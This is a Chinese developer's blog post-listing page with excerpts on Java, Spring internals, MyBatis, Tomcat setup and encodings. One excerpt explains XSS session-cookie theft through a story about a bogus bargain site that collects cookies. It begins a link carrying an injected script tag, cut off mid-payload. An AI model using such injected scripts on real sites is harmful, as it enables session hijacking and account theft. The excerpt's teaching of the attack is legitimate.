- 博客(39)
- 收藏
- 关注
原创 大文件导出
第三轮使用 Mybatis 流式查询,并改用 Map 封装数据,提高内存利用率,时间缩减十分钟;第五轮弃用 opencsv ,改用 BufferWriter 直接写数据,时间缩减十分钟;第四轮弃用 Mybatis ,改用原生 JDBC 获取数据并直接拼接,时间缩减十分钟;初始版本为单线程单文件导出文件,mybatis读 opencsv写,耗时将近三小时;第一轮优化改为多线程单文件,提高读数据效率,时间仅缩减十分钟;第二轮改为多线程多文件,提高写文件效率,时间缩减一个半小时;计算机配置:四核16G内存。
2023-11-23 01:09:46
276
原创 slf4j-logback日志框架源码探究
slf4j - Simple Logging Facade for Java从getLogger这个洞口进去找到引路灯 - bind() 方法绑定实现类findServiceProvidersfindPossibleStaticLoggerBinderPathSet初始化LogbackServiceProviderContextInitializerloadFromServiceLoader() 绑定配置类DefaultJoranConfigurator 加载配置获
2023-11-23 01:04:33
982
原创 java 写文件注意事项
忽然,不知道是天意还是开窍了,我将错位之前的字符全部选中,也就是从第一行到第222行 I am a java cod 的所有字符,这时候idea给出的字符数是8192!我不太相信,又把之前的demo跑了好几遍,结果还是正常的2000行 I am a java coder, i am strong!它抢到了这把锁之后,看到自己的缓冲区也满了,二话不说就把自己的缓冲区刷了先。但是很遗憾,确认过眼神之后,不是对的人,并没有这样的方法。
2023-04-24 01:25:08
194
原创 SpringCooking(六) - refresh方法之initApplicationEventMulticaster()和registerListeners()
在上一篇文章中。
2023-04-08 15:13:38
244
原创 【SpringCooking】厨师就位(五)refresh方法之registerBeanPostProcessors()
BeanPostProcessor
2023-04-05 19:17:46
355
原创 【SpringCooking】厨师就位(四)refresh方法之 invokeBeanFactoryPostProcessors()
在上一篇文章。
2023-04-04 01:15:00
186
原创 【Spring cooking】厨师就位(一)AnnotationConfigApplicationContext
ApplicationContext 接口的抽象实现类,使用的是模板方法设计模式,下面两个抽象方法子类必须实现与 BeanFactory 不同,ApplicationContext 应该检测其内部 BeanFactory 中定义的特殊bean。这些特殊Bean包括同时继承了 DefaultResourceLoader,加载类路径资源也实现了 ConfigurableEnvironment接口,创建环境} }} }
2023-03-29 14:34:06
668
原创 【导读】Spring源码分析目录索引
本篇文章是spring源码分析系列文章的一个索引,罗列出笔者在整理spring源码的思路。在笔者的日常开发中,主要使用spring注解开发,本系列源码解析也将基于spring注解体系去深入分析。在分析的过程中,会将spring注解与xml配置文件的标签对应起来,看spring是如何完成从配置开发到注解开发的转变。
2023-03-29 14:32:56
124
原创 【导读】如何阅读我的博客
这部分主要描述所研究的对象是什么,同时也会对所研究的内容做一个简单的、概括性的总结,方便大家在开始源码追踪前,能有一个大概的印象。
2023-03-29 14:26:37
124
原创 Spring注解开发AnnotationConfigApplicationContext
Spring注解开发 AnnotationConfigApplicationContext
2023-03-02 10:10:11
2078
原创 ArrayList多线程并发安全问题
ArrayList线程不安全的情况:t1 add时候,size++, 当执行到elementData[size] = e时,时间片用完了,t2 进行add,执行到elementData[size] = e,在数组相同的位置赋值,覆盖了t1的值,回到了t1,size++,t2,也size++,size=2size++为多条指令的组合,多线程并发size++时,size会出现并发问题,小于预期结果当数组元素达到临界值-1的时候(临界值为10,15,22,33…),比如到达了size=14,这时候t1执行
2023-02-01 09:10:29
952
原创 关于String和java值传递的理解
java值传递java值传递是指地址值的传递public class Demo { String str = "aa"; char[] ch = {'a','b'}; public void test(String str, char[] ch){ str = "bb"; ch[0] = 'c'; } public static void main(String[] args) { Demo demo
2023-01-31 16:37:13
568
原创 Spring加载配置类
Spring加载配置类入口AbstractApplicationContextPostProcessorRegistrationDelegateConfigurationClassPostProcessorConfigurationClassParserComponentScanAnnotationParserClassPathBeanDefinitionScannerClassPathScanningCandidateComponentProviderConditionEvaluatorAnnotatio
2023-01-26 14:28:35
1472
原创 继承、多态及动态绑定
继承、多态及动态绑定方法的多态重载重写对象的多态instance of 比较操作符动态绑定机制子类继承父类所有的属性和方法,但不能直接访问私有的属性和方法子类必须要调用父类,才能完成父类的初始化当创建子类对象时,不管使用子类的哪个构造器,默认情况都会调用父类的无参构造器。如果父类没有提供无参构造器,则必须在子类的构造器中用super去指定父类使用哪个构造器完成对父类的初始化工作,否则编译不会通过如果希望指定父类的构造器,则显示调用一下:super()super()在使用时,必须放在构造器第一行
2022-02-23 23:59:20
216
原创 Session是什么时候建立的
HTTP协议是一种无状态的协议,HTTP服务器对客户的每个请求和响应都是作为一个分离的事务处理。服务器无法确定多个请求是来自相同的客户还是不同的客户。这意味着服务器不能再多个请求中维持客户的状态。创建会话对象是服务器的主动行为。一般客户向服务器发送第一个请求的时候,首先明确两点:request.getSession()在没有session的时候会创建session//如果当前没有session,则会立刻建立一个session;如果有session则返回当前sessionHttpSession
2022-02-23 23:57:25
1337
原创 SSM项目集成mybatis-plus之自动填充字段、逻辑删除、分页插件
SSM项目集成mybatis-plus之后配置自动填充字段,逻辑删除,分页插件
2022-01-30 21:02:45
932
原创 windows下cmd查看端口占用情况
查看端口占用情况进入cmd输入 netstat -ano 可以列出所有端口占用情况如果只是找特定端口号,输入 netstat -ano|findstr “8082”,其中8082为端口号,对应PID为16040继续输入 tasklist|findstr “16040”或者到 任务管理器-进程 查找...
2021-12-24 10:26:58
1091
原创 Android Studio无法下载
直接点击下载出现下面的情况复制链接,将redirector.gvt1.com更换为dl.google.com,即可成功下载。
2021-12-07 00:35:30
2299
9
原创 ASCII Unicode UTF-8 编码
编码ASCIIUncodeASCII一个字节可表示256个字符,ASCII只用了128个字符 ASCII打印字符对照表 DEC OCT HEX BIN 缩写/符号 HTML实体 描述 0 000 00 00000000 NUL � Null char (空字符) 1 001 01 00000001 S
2021-12-01 09:00:30
416
原创 利用社区版IDEA纯手工部署应用到Tomcat
原因是没有设置JAVA_HOME用户变量解决方法一:电脑-属性-高级属性-环境变量-添加JAVA_HOME用户变量解决方法二:修改startup.bat,在文件第一行增加set "JAVA_HOME=C:\Program Files\Java\jdk1.8.0_151"
2021-12-01 08:57:43
169
原创 java异常及处理机制
异常一、分类1. Error2. Exception二、处理机制1. 捕获异常2. 抛出异常三、自定义异常类一、分类1. Error2. Exception编译时异常运行时异常二、处理机制1. 捕获异常try-catch-finallytry{ //出现异常后,try块异常后面的代码不会再执行,直接跳转到catch块}catch(Exception e){ //只有出现异常才会执行 //当要跳出catch块时,先去执行finally }finally{
2021-12-01 08:53:18
208
原创 Java数据类型转换
基本数据类型1. 自动类型转换2. 强制类型转换3. String类型与基本数据类型转换1. 自动类型转换char > int > long > float > doublebyte > short > int > long > float > double大小同算,小全转大小赋值大,精度损失(byte, short) 和 char 之间不会相互自动转换byte a = 10 //当把具体的数赋值 byte 时, 先判断该
2021-12-01 08:51:48
75
原创 原码、补码、反码以及位运算
原码、补码、反码以及位运算一、原码、反码、补码二、位运算1. 按位与 &2. 按位或 |3. 按位异或 ^4. 按位取反 ~5. 算术右移 >>6. 逻辑右移 >>>7. 算数左移 <<一、原码、反码、补码二进制的最高位是符号位:0便是正数,1表示负数正数的原码、反码、补码都一样负数的反码=原码符号位不变,其他位取反负数的补码=反码+1负数的反码=补码-10的反码、补码都是0java没有无符号数,换言之,java中的数都是有符号的在计算机
2021-12-01 08:50:03
1181
原创 xss攻击之js获取请求头的sessionid
XSS攻击情景:枸杞哥和人参佬都就职于打不倒企业,他们是铁哥们。枸杞哥经常浏览一些不可描述的网站(比如yellow.com),而且买了大会员。人参佬也想看,但是没有资源,也不好意思问枸杞哥要。好在他技术够好,他自己建了一个砍一刀的网站(kanyidao.com),表面上是砍一刀的优惠信息,实际上是用来收集其他用户的cookie的。一天枸杞哥在浏览的过程中,收到了一封来自人参佬的邮件,邮件说让枸杞哥帮忙砍一刀,并附上了链接http://www.a.com?content=<script>w
2021-11-23 00:08:32
1805
原创 IDEA社区版搭建web项目
IDEA社区版搭建Tomcat服务器并创建web项目目标问题实现步骤目标拥有和专业版创建Web项目的目录结构IDEA社区版可以启动Tomcat服务器编写Servlet并访问成功问题IDEA社区版没有创建Web工程的选项IDEA社区版没有Tomcat插件实现步骤针对以上两个问题,分步解决问题一:IDEA社区版没有创建Web工程的选项创建普通的java项目,此处不再赘述构建web项目的目录结构在WEN-INF文件夹下新建web.xml<?xml vers
2021-11-17 09:32:37
21276
10
原创 局部变量和全局变量赋值时的内存变化
public class Demo { String str = "aa"; char[] ch = {'a','b'}; public void test(String str, char[] ch){ str = "bb"; ch[0] = 'c'; } public static void main(String[] args) { Demo demo = new Demo(); demo.tes
2021-11-17 09:26:13
513
原创 LFM算法
自定义LFMimport numpy as npclass SVD(): def __init__(self, rating_data, F=5, alpha=0.1, lmbda=0.1, max_iter=100): self.F = F self.P = [] self.Q = [] # self.bu = [] # self.bi = [] # self.mu = 0.0
2021-04-01 00:05:09
136
空空如也
空空如也
TA创建的收藏夹 TA关注的收藏夹
TA关注的人